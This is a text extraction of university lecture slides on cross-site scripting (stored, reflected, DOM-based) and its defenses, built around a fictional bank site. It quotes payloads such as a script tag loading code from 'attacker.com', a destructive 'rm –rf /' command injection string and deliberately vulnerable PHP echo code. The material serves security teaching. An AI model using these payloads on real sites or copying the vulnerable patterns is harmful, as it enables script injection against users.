Web Security: Vulnerabilities & Attacks Dawn Song Cross-site - - PowerPoint PPT Presentation

▶
web security vulnerabilities attacks
SMART_READER_LITE
LIVE PREVIEW

Web Security: Vulnerabilities & Attacks Dawn Song Cross-site - - PowerPoint PPT Presentation

Feb 29, 2024 223 likes •762 views

Computer Security Course. Dawn Computer Security Course. Dawn Song Song Web Security: Vulnerabilities & Attacks Dawn Song Cross-site Scripting Dawn Song What is Cross-site Scripting (XSS)? Vulnerability in web application that

slide-1
SLIDE 1

Dawn Song

Web Security: Vulnerabilities & Attacks

Computer Security Course. Dawn Song Computer Security Course. Dawn Song

slide-2
SLIDE 2

Dawn Song

Cross-site Scripting

slide-3
SLIDE 3

Dawn Song

What is Cross-site Scripting (XSS)?

  • Vulnerability in web application that

enables attackers to inject client-side scripts into web pages viewed by

  • ther users.
slide-4
SLIDE 4

Dawn Song

Three T ypes of XSS

  • Type 2: Persistent or Stored

– The attack vector is stored at the server

  • T

ype 1: Refmected

– The attack value is ‘refmected’ back by the server

  • T

ype 0: DOM Based

– The vulnerability is in the client side code

T ype 2 T ype 1 T ype 0

slide-5
SLIDE 5

Dawn Song

Server

  • 1. User asks a

question via HTTP POST

(message: “How do I get a loan?”)

T ype 2 T ype 1 T ype 0

Consider a form on safebank.com that allows a user to chat with a customer service associate.

User

login passwor d

SAFEBANK banking content

A c counts Bill P ay Mail T ransfers
slide-6
SLIDE 6

Dawn Song

Server

  • 2. Server stores

question in database. T ype 2 T ype 1 T ype 0

login passwor d

SAFEBANK banking content

A c counts Bill P ay Mail T ransfers

Consider a form on safebank.com that allows a user to chat with a customer service associate.

  • 1. User asks a

question via HTTP POST

(message: “How do I get a loan?”)

User

slide-7
SLIDE 7

Dawn Song

Server 3. Associate requests the questions page T ype 2 T ype 1 T ype 0

login passwor d

SAFEBANK banking content

A c counts Bill P ay Mail T ransfers login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

Consider a form on safebank.com that allows a user to chat with a customer service associate.

  • 1. User asks a

question via HTTP POST

(message: “How do I get a loan?”)

  • 2. Server stores

question in database.

User Associ ate

slide-8
SLIDE 8

Dawn Song

Server

  • 4. Server

retrieves all questions from the DB T ype 2 T ype 1 T ype 0

login passwor d

SAFEBANK banking content

A c counts Bill P ay Mail T ransfers login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

Consider a form on safebank.com that allows a user to chat with a customer service associate.

  • 1. User asks a

question via HTTP POST

(message: “How do I get a loan?”)

  • 2. Server stores

question in database.

User Associ ate

3. Associate requests the questions page

slide-9
SLIDE 9

Dawn Song

Server

  • 5. Server

returns HTML embedded with the question T ype 2 T ype 1 T ype 0

login passwor d

SAFEBANK banking content

A c counts Bill P ay Mail T ransfers login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers
  • 1. User asks a

question via HTTP POST

(message: “How do I get a loan?”)

  • 2. Server stores

question in database.

User Associ ate

3. Associate requests the questions page

  • 4. Server

retrieves all questions from the DB

PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'>”How do I get a loan?”</div>

slide-10
SLIDE 10

Dawn Song

Server

PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'>”How do I get a loan?”</div>

T ype 2 T ype 1 T ype 0

login passwor d

SAFEBANK banking content

A c counts Bill P ay Mail T ransfers login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers
  • 1. User asks a

question via HTTP POST

(message: “How do I get a loan?”)

  • 2. Server stores

question in database.

User Associ ate

3. Associate requests the questions page

  • 4. Server

retrieves all questions from the DB

  • 5. Server

returns HTML embedded with the question “How do I get a loan?” Customer 5: SAFEBA NK

slide-11
SLIDE 11

Dawn Song

T ype 2 XSS Injection

Look at the following code fragments. Which one of these could possibly be a comment that could be used to perform a XSS injection?

a. '; system('rm –rf /'); b. rm –rf / c. DROP TABLE QUESTIONS; d. <script>doEvil()</script>

T ype 2 T ype 1 T ype 0

slide-12
SLIDE 12

Dawn Song

Script Injection

a. '; system('rm –rf /'); b. rm –rf / c. DROP TABLE QUESTIONS; d. <script>doEvil()</script>

<html><body> ... <div class=‘question’> <script>doEvil()</script> </div> ... </body></html>

Which one of these could possibly be a comment that could be used to perform a XSS injection?

T ype 2 T ype 1 T ype 0

slide-13
SLIDE 13

Dawn Song

Server

Stored XSS

T ype 2 T ype 1 T ype 0

  • 1. Attacker asks

malicious question via HTTP POST

( message: “<script>doEvil()</script>” )

slide-14
SLIDE 14

Dawn Song

Server

Stored XSS

  • 2. Server

stores question in T ype 2 T ype 1 T ype 0

  • 1. Attacker asks

malicious question via HTTP POST

( message: “<script>doEvil()</script>” )

slide-15
SLIDE 15

Dawn Song

Server

Stored XSS

  • 3. Victim

requests the questions page T ype 2 T ype 1 T ype 0

  • 1. Attacker asks

malicious question via HTTP POST

( message: “<script>doEvil()</script>” )

  • 2. Server

stores question in

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

Associ ate

slide-16
SLIDE 16

Dawn Song

Server

Stored XSS

  • 4. Server

retrieves malicious question from the DB T ype 2 T ype 1 T ype 0

  • 1. Attacker asks

malicious question via HTTP POST

( message: “<script>doEvil()</script>” )

  • 2. Server

stores question in

  • 3. Victim

requests the questions page

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

Associ ate

slide-17
SLIDE 17

Dawn Song

Server

Stored XSS

  • 5. Server returns

HTML embedded with malicious question T ype 2 T ype 1 T ype 0

  • 1. Attacker asks

malicious question via HTTP POST

( message: “<script>doEvil()</script>” )

  • 2. Server

stores question in

  • 3. Victim

requests the questions page

  • 4. Server

retrieves malicious question from the DB

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

Associ ate

PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'><script>doEvil()</script></div>

slide-18
SLIDE 18

Dawn Song

Server T ype 2 T ype 1 T ype 0

  • 1. Attacker asks

malicious question via HTTP POST

( message: “<script>doEvil()</script>” )

  • 2. Server

stores question in

  • 3. Victim

requests the questions page

  • 4. Server

retrieves malicious question from the DB

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

Associ ate

  • 5. Server returns

HTML embedded with malicious question

PHP CODE: <? echo "<div class=’question'>$question</div>";?> HTML Code: <div class=’question'><script>doEvil()</script></div>

Stored XSS

Customer 5: SAFEBA NK

slide-19
SLIDE 19

Dawn Song

Three T ypes of XSS

  • T

ype 2: Persistent or Stored

– The attack vector is stored at the server

  • Type 1: Refmected

– The attack value is ‘refmected’ back by the server

  • T

ype 0: DOM Based

– The vulnerability is in the client side code

T ype 2 T ype 1 T ype 0

slide-20
SLIDE 20

Dawn Song

Example Continued: Blog

  • safebank.com also has a transaction search

interface at search.php

  • search.php accepts a query and shows the

results, with a helpful message at the top.

  • What is a possible malicious URI an attacker

could use to exploit this?

<? echo “Your query $_GET['query'] returned $num results.";?> Example: Your query chocolate returned 81 results. T ype 2 T ype 1 T ype 0

Your query chocolate returned 81 results.

SAFEBA NK (results)

safebank.com/search.php?query=chocolate

slide-21
SLIDE 21

Dawn Song

T ype 1: Refmected XSS

PHP Code: <? echo “Your query $_GET['query'] returned $num results.";?>

A request to “search.php?query=<script>doEvil()</script>” causes script injection. Note that the query is never stored on the server, hence the term 'refmected'

HTML Code: Your query <script>doEvil()</script> returned 0 results

But this only injects code in the attacker’s page. The attacker needs to inject code in the user’s page for the attack to be efgective.

T ype 2 T ype 1 T ype 0

slide-22
SLIDE 22

Dawn Song

Refmected XSS

Vulnerable Server T ype 2 T ype 1 T ype 0

  • 1. Send Email

with malicious link

safebank.com/search.php?query=<script>doEvil()</script>

User

(email client)

slide-23
SLIDE 23

Dawn Song

Refmected XSS

Vulnerable Server

  • 2. Click on Link with malicious

params T ype 2 T ype 1 T ype 0

  • 1. Send Email

with malicious link

User

(email client)

safebank.com/search.php?query=<script>doEvil()</script>

slide-24
SLIDE 24

Dawn Song

Refmected XSS

Vulnerable Server

  • 3. Server inserts

malicious params into HTML T ype 2 T ype 1 T ype 0

  • 1. Send Email

with malicious link

safebank.com/search.php?query=<script>doEvil()</script>

  • 2. Click on Link with malicious

params

User

(email client)

Your query <script>doEvil()</script> returned 0 results

slide-25
SLIDE 25

Dawn Song

Refmected XSS

Vulnerable Server

  • 3. Server inserts

malicious params into HTML

  • 4. HTML with injected attack

code T ype 2 T ype 1 T ype 0

  • 1. Send Email

with malicious link

User

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

safebank.com/search.php?query=<script>doEvil()</script>

  • 2. Click on Link with malicious

params

Your query <script>doEvil()</script> returned 0 results

slide-26
SLIDE 26

Dawn Song

Refmected XSS

Vulnerable Server

  • 3. Server inserts

malicious params into HTML

  • 5. Execute embedded

malicious script.

T ype 2 T ype 1 T ype 0

  • 1. Send Email

with malicious link

User

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers

safebank.com/search.php?query=<script>doEvil()</script>

  • 2. Click on Link with malicious

params

Your query <script>doEvil()</script> returned 0 results

  • 4. HTML with injected attack

code

slide-27
SLIDE 27

Dawn Song

Three T ypes of XSS

  • T

ype 2: Persistent or Stored

– The attack vector is stored at the server

  • T

ype 1: Refmected

– The attack value is ‘refmected’ back by the server

  • Type 0: DOM Based

– The vulnerability is in the client side code

T ype 2 T ype 1 T ype 0

slide-28
SLIDE 28

Dawn Song

T ype 0: Dom Based XSS

  • Traditional XSS vulnerabilities occur in the

server side code, and the fjx involves improving sanitization at the server side.

  • Web 2.0 applications include signifjcant

processing logic, at the client side, written in JavaScript.

  • Similar to the server, this code can also be

vulnerable.

  • When the XSS vulnerability occurs in the

client side code, it is termed as a DOM Based

T ype 2 T ype 1 T ype 0

slide-29
SLIDE 29

Dawn Song

Suppose safebank.com uses client side code to display a friendly welcome to the user. For example, the following code shows “Hello Joe” if the URL is

http://safebank.com/welcome.php?name=Joe

T ype 0: Dom Based XSS

Hello <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </script> T ype 2 T ype 1 T ype 0

slide-30
SLIDE 30

Dawn Song

For the same example, which one of the following URIs will cause untrusted script execution?

T ype 0: Dom Based XSS

Hello <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </script>

  • a. http://attacker.com
  • b. http://safebank.com/welcome.php?name=doEvil()
  • c. http://safebank.com/welcome.php?name=<script>doEvil()</script>

T ype 2 T ype 1 T ype 0

slide-31
SLIDE 31

Dawn Song

T ype 2 T ype 1 T ype 0

For the same example, which one of the following URIs will cause untrusted script execution?

T ype 0: Dom Based XSS

Hello <script> var pos=document.URL.indexOf("name=")+5; document.write(document.URL.substring(pos,document.U RL.length)); </script>

  • a. http://attacker.com
  • b. http://safebank.com/welcome.php?name=doEvil()
  • c. http://safebank.com/welcome.php?name=<script>doEvil()</script>
slide-32
SLIDE 32

Dawn Song

T ype 2 T ype 1 T ype 0

DOM-Based XSS

Vulnerable Server

  • 1. Send Email

with malicious link

safebank.com/welcome.php?query=<script>doEvil()</script>

User

(email client)

slide-33
SLIDE 33

Dawn Song

T ype 2 T ype 1 T ype 0 Vulnerable Server

  • 2. Click on Link with malicious

params

DOM-Based XSS

  • 1. Send Email

with malicious link

safebank.com/welcome.php?query=<script>doEvil()</script>

User

(email client)

slide-34
SLIDE 34

Dawn Song

T ype 2 T ype 1 T ype 0 Vulnerable Server

  • 3. Server uses the

params in a safe fashion, or ignores the malicious param

DOM-Based XSS

  • 1. Send Email

with malicious link

safebank.com/welcome.php?query=<script>doEvil()</script>

User

(email client)

  • 2. Click on Link with malicious

params

slide-35
SLIDE 35

Dawn Song

T ype 2 T ype 1 T ype 0 Vulnerable Server

  • 4. Safe HTML
  • 3. Server uses the

params in a safe fashion, or ignores the malicious param

DOM-Based XSS

  • 1. Send Email

with malicious link

safebank.com/welcome.php?query=<script>doEvil()</script>

User

  • 2. Click on Link with malicious

params

login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers
slide-36
SLIDE 36

Dawn Song

T ype 2 T ype 1 T ype 0 Vulnerable Server

  • 3. Server uses the

params in a safe fashion, or ignores the malicious param

DOM-Based XSS

  • 1. Send Email

with malicious link

safebank.com/welcome.php?query=<script>doEvil()</script>

User

  • 2. Click on Link with malicious

params

  • 5. JavaScript code ON THE CLIENT uses the

malicious params in an unsafe manner, causing code execution

  • 4. Safe HTML
login passwor d

SAFEBANK banking content

A ccounts Bill Pay Mail T ransfers
slide-37
SLIDE 37

Dawn Song

Exploiting a DOM Based XSS

  • The attack payload (the URI) is still sent to the server,

where it might be logged.

  • In some web applications, the URI fragment is used to pass

arguments

– E.g., Gmail, T witter, Facebook,

  • Consider a more Web 2.0 version of the previous example:

http://example.net/welcome.php#name=Joe

– The browser doesn’t send the fragment “#name=Joe” to the server as part of the HTTP Request – The same attack still exists T ype 2 T ype 1 T ype 0

slide-38
SLIDE 38

Dawn Song

Three T ypes of XSS

  • T

ype 2: Persistent or Stored

– The attack vector is stored at the server

  • T

ype 1: Refmected

– The attack value is ‘refmected’ back by the server

  • T

ype 0: DOM Based

– The vulnerability is in the client side code

T ype 2 T ype 1 T ype 0

slide-39
SLIDE 39

Dawn Song

Contexts in HTML

  • Cross site scripting is signifjcantly

more complex than the command or SQL injection.

  • The main reason for this is the large

number of contexts present in HTML.

<a href="http://evil.com" onclick="functionCall()"> Possibly <b>HTML</b> Text </a>

slide-40
SLIDE 40

Dawn Song

Contexts in HTML

  • Cross site scripting is signifjcantly

more complex than the command or SQL injection.

  • The main reason for this is the large

number of contexts present in HTML.

<a href="http://evil.com" onclick="functionCall()"> Possibly <b>HTML</b> Text </a> URI Context URI Context Event Handler Context Event Handler Context HTML Context HTML Context HTML Attribute Context HTML Attribute Context

slide-41
SLIDE 41

Dawn Song

Contexts in HTML

The blogging application also accepts a ‘homepage’ from the anonymous

  • commenter. The application uses this value to display a helpful link:

<? echo "<a href='".$homepage."'>Home</a>"; ?>

Which of the following values for $homepage cause untrusted code execution?

  • a. <script src="http://attacker.com/evil.js"></script>
  • b. '<script src="http://attacker.com/evil.js"></script>
  • c. javascript:alert("evil code executing");
slide-42
SLIDE 42

Dawn Song

HTML Contexts

The blogging application also accepts a ‘homepage’ from the anonymous

  • commenter. The application uses this value to display a helpful link:

<? echo "<a href='".$homepage."'>Home</a>"; ?>

Which of the following values for $homepage cause untrusted code execution?

  • a. <script src="http://attacker.com/evil.js"></script>
  • b. '<script src="http://attacker.com/evil.js"></script>
  • c. javascript:alert("evil code executing");
slide-43
SLIDE 43

Dawn Song

HTML Contexts

The blogging application also accepts a ‘homepage’ from the anonymous

  • commenter. The application uses this value to display a helpful link:

<? echo "<a href='".$homepage."'>Home</a>"; ?>

Which of the following values for $homepage cause untrusted code execution?

  • a. <script src="http://attacker.com/evil.js"></script>
  • b. '<script src="http://attacker.com/evil.js"></script>
  • c. javascript:alert("evil code executing");
slide-44
SLIDE 44

Dawn Song

HTML Contexts

The blogging application also accepts a ‘homepage’ from the anonymous

  • commenter. The application uses this value to display a helpful link:

<? echo "<a href='".$homepage."'>Home</a>"; ?>

Which of the following values for $homepage cause untrusted code execution?

  • a. <script src="http://attacker.com/evil.js"></script>
  • b. '<script src="http://attacker.com/evil.js"></script>
  • c. javascript:alert("evil code executing");
slide-45
SLIDE 45

Dawn Song

Injection Defenses

  • Defenses:

– Input validation

  • Whitelists untrusted inputs.

– Input escaping

  • Escape untrusted input so it will not be treated as a

command.

– Use less powerful API

  • Use an API that only does what you want.
  • Prefer this over all other options.
slide-46
SLIDE 46

Dawn Song

Input Validation

Check whether input value follows a whitelisted

  • pattern. For example, if accepting a phone

number from the user, JavaScript code to validate the input to prevent server-side XSS:

function validatePhoneNumber(p){ var phoneNumberPattern = /^\(?(\d{3})\)?[- ]?(\d{3})[- ]?(\d{4})$/; return phoneNumberPattern.test(p); }

This ensures that the phone number doesn’t contain a XSS attack vector or a SQL Injection

  • attack. This only works for inputs that are easily

restricted.

slide-47
SLIDE 47

Dawn Song

Parameter T ampering

Is the JavaScript check in the previous function on the client suffjcient to prevent XSS attacks ?

  • a. Yes
  • b. No
slide-48
SLIDE 48

Dawn Song

Parameter T ampering

Is the JavaScript check in the previous function suffjcient to prevent XSS attacks ?

  • a. Yes
  • b. No
slide-49
SLIDE 49

Dawn Song

Input Escaping or Sanitization

Sanitize untrusted data before outputting it to

  • HTML. Consider the HTML entities functions,

which escapes ‘special’ characters. For example, < becomes &lt;. Our previous attack input,

<script src="http://attacker.com/evil.js"></script> becomes &lt;script src=&quot;http://attacker.com/evil.js&quot;&gt;&lt;/script&gt;

which shows up as text in the browser.

slide-50
SLIDE 50

Dawn Song

Context Sensitive Sanitization

What is the output of running htmlentities on

javascript:evilfunction();? Is it suffjcient to prevent cross

site scripting? You can try out html entities online at

http://www.functions-online.com/htmlentities.html

  • a. Yes
  • b. No
slide-51
SLIDE 51

Dawn Song

Context Sensitive Sanitization

What is the output of running htmlentities on

javascript:evilfunction();? Is it suffjcient to prevent cross

site scripting? You can try out html entities online at

http://www.functions-online.com/htmlentities.html

  • a. Yes
  • b. No
slide-52
SLIDE 52

Dawn Song

Use a less powerful API

  • The current HTML API is too powerful, it allows

arbitrary scripts to execute at any point in HTML.

  • Content Security Policy allows you to disable all

inline scripting and restrict external script loads.

  • Disabling inline scripts, and restricting script

loads to ‘self’ (own domain) makes XSS a lot harder.

  • See CSP specifjcation for more details.
slide-53
SLIDE 53

Dawn Song

Use a less powerful API

  • T
  • protect against DOM based XSS, use a less

powerful JavaScript API.

  • If you only want to insert untrusted text, consider

using the innerText API in JavaScript. This API ensures that the argument is only used as text.

  • Similarly, instead of using innerHTML to insert

untrusted HTML code, use createElement to create individual HTML tags and use innerText on each.